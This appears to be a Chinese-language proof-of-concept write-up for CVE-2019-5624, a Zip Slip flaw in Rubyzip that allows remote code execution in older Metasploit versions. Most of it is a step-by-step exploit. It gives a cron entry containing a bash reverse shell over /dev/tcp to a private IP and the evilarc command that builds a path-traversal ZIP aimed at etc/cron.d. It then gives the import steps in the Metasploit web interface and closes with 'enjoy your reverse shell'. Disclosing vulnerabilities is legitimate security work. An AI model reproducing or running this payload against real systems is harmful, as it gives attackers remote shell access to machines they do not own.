CVE-2019-5624

Metasploit 的 CVE-2019-5624 漏洞的概念验证 (Rubyzip 不安全的 ZIP 处理导致远程代码执行)

介绍

2019年2月，我在 Rubyzip 库中发现了一个新漏洞。它允许攻击者利用不安全的 ZIP 处理（Zip Slip）导致远程命令执行。

该漏洞被用于攻击所有低于5.0.18版本的Metasploit（见Metasploit Wrap-Up）

我写了一篇详细的博客文章解释了该漏洞。

概念验证 (POC)

• 创建包含以下内容的文件：

* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"

• 生成包含路径遍历载荷的 ZIP 压缩包：

python evilarc.py exploit --os unix -p etc/cron.d/

• 向ZIP文件中添加一个有效的MSF工作区（以便Metasploit能够提取它，否则它将拒绝处理该ZIP压缩包）
• 设置两个监听器，一个在4444端口，另一个在4445端口（4445端口上的监听器将获得反向Shell）
• 登录MSF Web界面
• 创建一个新“项目”
• 选择“导入”、“从文件”，选择恶意ZIP文件，最后点击“导入”按钮
• 等待导入过程完成
• 享受你的反弹Shell

视频